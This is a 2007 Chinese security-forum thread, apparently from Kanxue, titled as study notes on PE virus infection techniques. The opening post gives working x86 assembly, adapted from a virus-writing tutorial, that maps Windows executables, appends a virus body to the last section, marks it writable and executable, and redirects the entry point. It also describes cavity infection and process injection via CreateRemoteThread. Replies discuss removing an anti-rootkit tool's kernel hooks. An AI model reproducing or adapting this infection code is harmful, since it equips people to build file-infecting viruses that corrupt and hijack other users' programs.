首页
社区
课程
招聘
[分享]PE病毒学习笔记——初识感染技术
发表于: 2007-10-4 17:07 36865

[分享]PE病毒学习笔记——初识感染技术

2007-10-4 17:07
36865

本来打算10.1长假天天去自习的,结果学校居然在假期把所有的自习室都关门了事,没办法,只好待寝室——面对电脑——就打算再来一篇学习笔记。我了解的知识非常有限,代码也很初级,欢迎大家批评和讨论。

说起“感染技术”,一般印象里都是——感染文件,准确说,是“感染可执行文件”。事实上,除了文件感染,也可以是“进程感染”,也就是“进程注入”。但是相比而言,文件感染古老多了——早在单进程环境的DOS下就开始发展,而且相比“进程注入”,在我看来要复杂些。

现在我们只考虑Win32环境下的文件感染。毫无疑问,读写文件的过程需要大量使用到API,如果看过我之前的关于“搜索API”的学习笔记的话,那么这个工作在这里不过是一个循环而已。

先考虑最简单的情况,感染没有在运行的、普通的执行文件。

首先是要搜索文件,Win32API有三个函数:FindFirstFile(),FindNextFile(),FindClose(),事实上大家都可以想象到,应该是FindFirstFileA(),FindNextFileA()和FindFirstFileW(),FindNextFileW(),Windows的一贯风格。这几个函数由kernel32.dll导出,具体使用可以通过MSDN解决了,不过这里要强调一个结构:

WIN32_FIND_DATA ,这里面会保存有搜索到的文件的相关信息,特别是
“文件大小”
(DWORD nFileSizeHigh;  DWORD nFileSizeLow;如果这个文件没有大于4GB的话,就只用考虑nFileSizeLow)
和“文件名”
(TCHAR cFileName[MAX_PATH])
这两个变量,对我们来说比较重要。

下面,搜索到具体的文件后,看看我们需要些哪些API支持我们的工作:
;----------------------------------------------
; input:
; ESI = Address of Filename
; _CreateFileA = VA of CreateFileA
;
; output:
; EAX = Opened Filehandle or -1
;
; used reg
; EAX,ESI
;----------------------------------------------
OpenFile proc
    xor eax,eax
    push eax
    push eax
    push 00000003h
    push eax
    inc eax
    push eax
    push 80000000h or 40000000h
    push esi
    call _CreateFileA
    ret
OpenFile endp

首当其冲的当然是以“可读”和“可写”方式打开文件,kernel32里的CreateFileA完成这项工作。

;----------------------------------------------
; input:
; ECX = Mapping Size
; _CreateFileMappingA = VA of CreateFileMappingA
; FileHandle = Opened Filehandle
;
; output:
; EAX = Mapped Handle or -1
;
; used reg
; EAX,ECX
;----------------------------------------------
CreateMap proc
    xor eax,eax
    push eax
    push ecx
    push eax
    push 00000004h
    push eax
    push dword ptr FileHandle
    call _CreateFileMappingA
    ret
CreateMap endp

;----------------------------------------------
; input:
; ECX = Mapping Size
; _MapViewOfFile = VA of MapViewOfFile
; MapHandle = Mapped Maphandle
;
; output:
; EAX = Map Address or 0
;
; used reg
; EAX,ECX
;----------------------------------------------
MapFile proc
    xor eax,eax
    push ecx
    push eax
    push eax
    push 00000002h
    push dword ptr MapHandle
    call _MapViewOfFile
    ret
MapFile endp

下来就是把文件映射到内存里,当然,用ReadFile和WriteFile也是可以的,可是我喜欢读写“内存”的感觉(感觉是绝对一样的),而不是不停的push push地去调用API,哪怕我只要读或写一个Byte。CreateFileMappingA和MapViewOfFile,这两个函数都在kernel32里

还有一些API比如SetFileAttributesA,UnmapViewOfFile和CloseHandle,因为参数少且简单,所以就不单独定义成proc了。我也假定在之前的工作里,已经找到了这些API的VA,并且存在了API名字前加一下划线的变量里,比如CloseHandle的地址就存在_CloseHandle里。最后再说一遍,这里用到的所有的所有函数都来自于kernel32里。

但是有一个特殊些:
;----------------------------------------------
; input:
; EAX = Value need align
; ECX = FileAlign
;
; output:
; EAX = Value aligned
;
; used reg
; EAX,ECX,EDX
;----------------------------------------------
Align proc
    push edx
    xor edx,edx
    push eax
    div ecx
    pop eax
    sub ecx,edx
    add eax,ecx
    pop edx
    ret
Align endp

这是一个非常重要的proc,用来算“对齐”的。一定要注意PE结构里的对齐,特别是在做Size的加减和变化时,一定要注意对齐。很多人一开始写修改PE文件结构的程序时,导致诸如“不是有效的Win32程序”错误的原因大多是因为没有对齐好。

我还假定所有用到的变量已经定义好,特别注意WFD_szFileName和WFD_nFileSizeLow,就是我前面提到的,你打算感染的文件的WIN32_FIND_DATA结构里的成员。

Infection proc
    lea esi,WFD_szFileName
   
    push 80h
    push esi
    call _SetFileAttributesA
   
    call OpenFile
    inc eax
    jz _Infection_CantOpen
    dec eax
    mov FileHandle,eax
   
    mov ecx,WFD_nFileSizeLow

_Infection_Mapping:
    push ecx
    call CreateMap
    or eax,eax
    jz _Infection_CloseFile
    mov MapHandle,eax
   
    pop ecx
    call MapFile
    or eax,eax
    jz _Infection_UnMapFile
    mov MapAddress,eax

    mov esi,[eax+3Ch]
    add esi,eax
    cmp IsMapped,1
    jz _Infection_Go_on
    cmp dword ptr [esi],"EP"
    jnz _Infection_NoInfect
    mov ecx,[esi+3ch]
   
    push dword ptr MapAddress
    call _UnmapViewOfFile
    push dword ptr MapHandle
    call _CloseHandle

    mov eax,WFD_nFileSizeLow
    add eax,virus_size
    call Align
   
    xchg ecx,eax
    mov IsMapped,1
    jmp _Infection_Mapping

_Infection_Go_on:
    mov edi,esi                         ;------------- EDI = ESI = Ptr to PE header
    movzx eax,word ptr [edi+06h]        ;------------- AX = Num of sections
    dec eax
    imul eax,eax,28h                    ;------------- EAX = AX*28h
    add esi,78h                         ;------------- Ptr to dir table
    mov edx,[edi+74h]                   ;------------- EDX = Num of dir entries
    shl edx,3                           ;------------- EDX = EDX*8
    add esi,edx                         ;------------- ESI = Ptr to first section table
    add esi,eax                         ;------------- ESI = Ptr to last section table

    mov eax,[edi+28h]                   ;------------- EAX = RVA of Entry Point
    mov OldEP,eax
    mov eax,[edi+34h]                   ;------------- EAX = ImageBase
    mov ImgBase,eax
    mov edx,[esi+10h]                   ;------------- EDX = SizeOfRawData
    mov ebx,edx                         ;------------- EBX = EDX = SizeOfRawData
    add edx,[esi+14h]                   ;------------- EDX = EDX+PointerToRawData
    push edx
    mov eax,ebx                         ;------------- EAX = EBX = SizeOfRawData
    mov ebp,[esi+0Ch]                   ;------------- EBP = VirtualAddress
    add eax,ebp                         ;------------- EAX = SizeOfRawData + VirtualAddress
    mov [edi+28h],eax                   ;------------- Set RVA of Entry Point to EAX--New EP
    mov NewEP,eax
   
    mov eax,ebx                         ;------------- EAX = SizeOfRawData
    add eax,virus_size                  ;------------- EAX = SizeOfRawData + VirusSize
    mov ecx,[edi+3Ch]                   ;------------- ECX = File Alignment
    call Align
    mov [esi+10h],eax                   ;------------- New SizeOfRawData
    mov [esi+08h],eax                   ;------------- New VirtualSize
    add eax,ebp                         ;------------- EAX = EAX + VirtualAddress
    mov [edi+50h],eax                   ;------------- EAX = New SizeOfImage
    or dword ptr [esi+24h],0f0000020h
   
    lea esi,[virus_start]               ; ESI = Ptr to virus_start
    pop edx                             ; EDX = Start of virus will be copy---RAV
    xchg edi,edx                        ; EDI = Start of virus will be copy---RAV , EDX = Ptr to PE header
    add edi,MapAddress                  ; EDI = Start of virus will be copy---VA
    mov ecx,virus_size                  ; ECX = virus_size
    rep movsb                           ; Do it
    jmp _Infection_UnMapFile

_Infection_UnMapFile:
    push dword ptr MapAddress
    call _UnmapViewOfFile
   
_Infection_CloseMap:
    push dword ptr MapHandle
    call _CloseHandle
   
_Infection_CloseFile:
    push dword ptr FileHandle
    call _CloseHandle
   
_Infection_CantOpen:
    push dword ptr WFD_dwFileAttributes
    lea eax,WFD_szFileName
    push eax
    call _SetFileAttributesA
    ret
Infection endp

上面这段代码主要来自于《Billy Belceb 病毒编写教程---Win32 篇》,但是我一条一条仔细阅读和理解并且对一些地方进行了修改和优化。在适当的地方有注释,如果感觉有问题请提出来,谢谢。

整个过程是简单而流畅的,把文件Map到内存,读取相关信息,尤其重要的是“文件对齐量”,这是为什么要把文件Map两次的原因——我们不知道应该为修改文件开辟多大的Map。有人想当然的认为,既然已知文件大小和病毒大小,那么Map大小就是“文件大小+病毒大小”,这在一般情况下是错误的,原因就是——对齐。当然,用ReadFile和WriteFile方式不用在乎Map大小的问题。

搜索到最后一个节,计算新的的节大小,修改相应PE结构变量,并且把程序入口改为最后一个节的末尾(这就是准备写入病毒体的地方)。程序原入口一定要保留,虽然这里暂时不需要,但是病毒执行完毕后会需要。修改节属性,“代码节、可读、可写、可执行”,一个也不能少。对齐,唯一要强调的还是对齐。一切就绪后,就开始copy病毒体了!

上面这个方法是增加最后一个节的空间来寄生病毒,很初级可是不一定稳定:不能保证最后一个节就一定是你想要的“代码节、可读、可写、可执行”,毕竟这里除了你的代码,还有原程序的信息。稍微强一些的办法是增加一个节到最后(自己的节就好控制多了),然后修改相关PE结构变量。这个方法不错,不过问题在于,不能保证SECTION TABLE里就一定有大于28h字节的空间给你来新建一个Image_Section_Table,一般这个空隙是因为对齐或者别的原因造成的。

顺便提及一点,如果这个执行文件正在被使用,那么,可以通过“改名”+“新建”+“下次运行时删除”的办法替换原文件。

这种“后缀式”感染方式很简单,不过请注意:简单就是优点。我们可以不用在感染上花费太大精力和——宝贵的代码空间!而且这种整块拷贝的方式也很利于病毒的加壳和变形,现代病毒在感染上已经不怎么别出心裁了,关键的技术恰恰在加密与变形上。

相对“后缀式”,在古老的教科书上还会看到另一种方式——“散落式”
“英文叫cavity,就是把病毒体切成小块分散插入到宿主的空隙中,病毒执行时再把他们组合起来。似乎人们从CIH才开始认识这种方式,事实上这种方式古已有之,一些DOS病毒就用这种方式,只是没有引起人们注意--人们通常只推崇轰动的东西!
PE文件由于结构关系,天然就有很多空隙,适合一个小病毒存在,而DOS可执行文件则没有什么Section的概念,也没有什么天然空隙,似乎看起来不可能插入。其实不然,由于编译器的缘故,文件里很可能有一些用于保存数据的连续的0,这些空间只在运行时才有用,和程序的初始化没关系。所以病毒可以统计这些连续的0,如果发现这样的空间足够大,就可以把病毒块放在里面,运行时把病毒块摘出,然后重新把那块内存清零就可以了——这种技术在DOS时代算是比较高级的技术,实现起来比较困难。……
这种感染方式还有衍生。比如不利用宿主已有的空隙,而是在宿主代码里硬生生地挖洞,把病毒代码插进去,病毒执行后再把洞填回去。这样的好处是可以把病毒分解成很小的碎片,这样就不容易被发现,缺点是实现有些复杂,效果未必比利用已有空隙好。”
——摘自CVC的Vancheer的《病毒感染技术分析》

我始终认为,现代病毒,已经不会在“感染技术”上别出心裁了,关键在于对病毒体的加壳与变形,更好的保护。现在病毒和蠕虫的界限已经不明显了,不过我仍然认为病毒相对于蠕虫的特点是:不能独立运行(没有导入表、不能成为独立进程、不依赖特定程序),必须有感染文件的能力。虽然不能成为独立的进程,但是可以把自己的代码作为一个线程跑起来。

在古老的病毒观里(出自对多线程技术不熟悉的老一代程序员),病毒应该在加载寄主程序前做完所有的事(甚至——感染硬盘所有的执行文件),这在现在简直不可想象。我们理所当然的可以把病毒代码作为一个线程来和寄主程序并发地跑起来——没有一点问题——不过是把这个代码的地址传给CreateThread函数。

在可以调用CreateRemoteThread函数的WinNT/2000/XP系统里,也就有另一种和“文件感染”不同的“进程感染”。其实原理和大家早已熟知的dll注入一样。我们通过tlhelp32.dll里的函数枚举进程(当让有别的更多方法),OpenProcess,VirtualAllocEx,WriteProcessMemory(写入病毒体),最后CreateRemoteThread就可以让我们写入的代码跑起来了。不错,不需要和头痛的PE格式打交道,我们的代码就在一个正在运行的进程的空间里跑起来了,同样需要搜索API,需要干该干的事。比如,我们知道explorer.exe是图形化的Windows Shell,所有通过桌面或者快捷方式或者文件夹打开的程序都是explorer.exe这个进程CreateProcess出来的,如果我们hook这个explorer.exe导入表里的API,我们就可以监视所有的进程创建行为。

如果没有别的行为,“进程感染”的成果会随着进程的退出而终结。那么,把自己的代码插入别的进程有什么意义吗?当然有!众人拾柴火焰高,Windows提供我们多进程多线程的环境和功能,我们不好好利用下不是太对不起所有Windows开发人员的一片苦心了么?

线程病毒的同步也是一个有趣的问题,哦,协议的设计,进线程间通信,同步与互斥……多么好的一次课程设计亚!

参考文献:
《Billy Belceb 病毒编写教程---Win32 篇》
CVC的Vancheer的《病毒感染技术分析》


[注意]APP应用上架合规检测服务,协助应用顺利上架!

收藏
免费 7
支持
分享
最新回复 (50)
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
2
呵呵,顶个~
远程线程 用用~
2007-10-4 17:57
0
雪    币: 615
活跃值: (1267)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
2007-10-4 18:15
0
雪    币: 200
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
4
估计又一篇精华诞生了
2007-10-4 18:21
0
雪    币: 846
活跃值: (221)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
5
现在的病毒大多是垃圾病毒,,,,没有技术含量的垃圾。。。
2007-10-4 18:24
0
雪    币: 235
活跃值: (17)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
6
欢迎大家继续讨论和思考——可不可以更好?有什么办法么?

有些失望,本来想直接回贴的,可是回了肯定到第二页去了,可能大家一般都不会去看后面的回复,所以就在这添加了。提一个问题。

不知道大家有没有仔细看我里面最关键的代码:
mov edi,esi                         ;------------- EDI = ESI = Ptr to PE header
    movzx eax,word ptr [edi+06h]        ;------------- AX = Num of sections
    dec eax
    imul eax,eax,28h                    ;------------- EAX = AX*28h
    add esi,78h                         ;------------- Ptr to dir table
    mov edx,[edi+74h]                   ;------------- EDX = Num of dir entries
    shl edx,3                           ;------------- EDX = EDX*8
    add esi,edx                         ;------------- ESI = Ptr to first section table
    add esi,eax                         ;------------- ESI = Ptr to last section table


请大家对照一下PE文件结构思考下这几句代码。我有一张PE结构图片,很老的图片,不过看雪有下载
http://www.pediy.com/document/PE.rar
虽然里面有很多“未知”项,不过我写一些代码的时候就是看着这个图写的。
如果按照这幅图所绘制的情况,那么上面那段代码就没法理解:
为什么从PE头开始78h的地方向后NumberOfRvaAndSizes的值乘以8字节就是第一个节表的地址了呢?
按照图上的意思,这个距离应该是固定的80h呀!

不过仔细看那幅图,我们似乎不难发现,这段代码的意思是,那个距离不是固定的80h,而是可变的,那个数组的个数就是NumberOfRvaAndSizes。而每个数组元素的长度刚好是8字节!我这是从这段代码来解释PE文件格式。不过看看那幅图上那么多项“未知”,我觉得这个解释似乎不完全没道理。

再看看关于PE结构的文档解释,在这个板块正好有一篇翻译的《“PE文件格式”1.9版 完整译文(附注释)》
关于这里的描述有:
30)接着我们会发现32位的“NumberOfRvaAndSizes(Rva数和大小)”,它是紧随其后的目录的有效项的数目。我已发现此值不可靠;你也许希望用常量IMAGE_NUMBEROF_DIRECTORY_ENTRIES(映象文件目录项数目)来代替它,或者用它们中的较小者。

NumberOfRvaAndSizes之后是一个IMAGE_NUMBEROF_DIRECTORY_ENTRIES (16)(映象文件目录项数目)个IMAGE_DATA_DIRECTORY(映象文件数据目录)数组。这些目录中的每一个目录都描述了一个特定的、位于目录项后面的某一节中的信息的位置(32位的RVA,叫“VirtualAddress(虚拟地址)”)和大小(也是32位,叫“Size(大小)”
)。”

描述得不清楚,什么叫做:你也许希望用常量……来代替它,或者用它们中的较小者。这是我可以希望的么?不过这篇文档也是Debugger的结论,似乎不是MS官方的权威公开文档。

从调试的结果来看,我贴的那段代码跑起来没问题,当然,“我已发现此值不可靠”,也就是说,有的时候会有问题。

不知道谁可以援引相关的文档或者调试结果,帮我弄清楚这个问题,谢谢!
2007-10-4 19:18
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
感觉纯粹的应用层病毒很难有作为了,许多杀软对敏感内核函数都有监控
2007-10-4 19:44
0
雪    币: 200
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
8
事实证明,我的估计完全正确!
2007-10-4 19:45
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
很好
学习 + 支持
2007-10-4 20:24
0
雪    币: 242
活跃值: (14)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
10
无恶意地说一句,楼主你有点扯淡,呵呵。
也不用把“外国”吹得那么高了,经常到国外那些技术网站上看下,也就那么会事。
另外把ICESWORD作为什么标准也没必要,硬性要求要过ICESWORD也不是什么难事。

就我看到的那点病毒(传统意义上的病毒,不包括那些“恶意程序”),精品一般都不多,无论哪个地方产的。
2007-10-4 21:17
0
雪    币: 235
活跃值: (17)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
11
hehe,我也只是想激励一下国人,没有什么抬高的意思。

不过不管怎么说,国外的学术研究,确实比国内要扎实一些,而且历史久一些,经验教训多一些,这是事实。技术论坛可能不能完全代表这个方向的技术研究水平,高水平的研究必然是在大学和研究机构里的。单从研究的扎实程度来说,我觉得国外确实优于我们中国的大学和研究机构一些。这些才是更值得我们学习的。

不好意思,我也无恶意的说一句:我以为,在病毒行业从个人炫耀转向地下商业后,似乎你能看到的病毒样本,本也就是比较垃圾的半成品吧。不好意思,绝无意贬低。
2007-10-4 21:31
0
雪    币: 242
活跃值: (14)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
12
嘿嘿,你是做反病毒软件的还是做病毒的?或者只是自己在YY?
2007-10-4 22:37
0
雪    币: 242
活跃值: (14)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
13
算了,不扯淡了

厚积薄发才是正道,专业才是王道~

在这里扯淡浮躁无益,自己看书去~
2007-10-4 22:40
0
雪    币: 235
活跃值: (17)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
14
能否顺便帮忙看下我发在6楼的问题,谢谢
2007-10-4 23:00
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
技术讨论嘛 都削削火
静下心来学习
2007-10-4 23:01
0
雪    币: 235
活跃值: (17)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
16
是我的错。我这个人是有些亲西方,没见识的原因吧。

他看过不少病毒样本,而我却没有去过美国。我是没有发言权的,我说的话确实有不少想当然的,是我的错。

希望大家能原谅我的鲁莽,我很希望能向大家学习请教。也希望大家帮助我,谢谢。
2007-10-4 23:39
0
雪    币: 6075
活跃值: (2236)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
17
虽然楼主在YY,
SectionHeaders = PE->OptionalHeader + PE->SizeOfOptionalHeader
2007-10-5 00:13
0
雪    币: 242
活跃值: (14)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
18
有人发火了??嘿嘿

我很龌龊~~~什么都不懂~~等看WCG2007哈
2007-10-5 01:17
0
雪    币: 235
活跃值: (17)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
19
我的问题恰恰在于这个SizeOfOptionalHeader是不是定值——e0h,或者是60h+NumberOfRvaAndSizes*8

更准确地说,问题就是:DataDirectory字段的长度到底是固定的80h,还是可变长的NumberOfRvaAndSizes*8。

因为NumberOfRvaAndSizes似乎就是DataDirectory里dir entry的个数,而每个entry占8字节。
2007-10-5 09:11
0
雪    币: 220
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
道听途说永远是不可靠的,你是否亲眼见过各项都能隐藏且运行1小时不蓝屏的?浮夸的社会阿
2007-10-5 10:20
0
雪    币: 235
活跃值: (17)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
21
你说得没错。不过我觉得,1个小时似乎太长。单就对付IceSword来说,只要拿到Ring0权限然后把SSDT里面IceSword的那些inline hook拿掉,IceSword可能就会元气大伤。不过我也不知道IceSword会不会定时检查自己的inline hook。其实我觉得最难的部分是从Ring3升级到Ring0的部分,已知的就那么几条路,而AV,VX,还有诸如IceSword之流早就在每个调用前都hook了不知道多少东西了,没拿到Ring0前就是孙子,随时会被绞杀。
至于拿到Ring0之后嘛,谁怕谁……让我想起了当年“磁心大战”时的情形。
2007-10-5 10:58
0
雪    币: 220
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
应该是你理解错了,没听说icesword的hook是检测用的,显然只是保护用的。
拿掉hook是让icesowrd不能保护自己,跟隐藏自身是两回事。难道kill掉它就叫隐藏?这个目的不用拿掉hook,ring3就可以了。
2007-10-5 11:44
0
雪    币: 220
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
还有ring0什么都可以做,原理上而已,有人十分了解操作系统原理就能做一个跟nt/unix一样稳定的系统?
而且有些东西是有人能做,他们会不会花过多的时间去做?恐怕他们会找更简单的办法绕过,而不是硬碰硬。
2007-10-5 11:50
0
雪    币: 235
活跃值: (17)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
24
为什么没有人略微考虑我在6楼的问题呢?
2007-10-5 23:33
0
雪    币: 6075
活跃值: (2236)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
25
既然说了是参考SizeOfOptionalHeader,你说你说的那些会不会是定值?
2007-10-6 12:09
0
游客
登录 | 注册 方可回帖
返回
//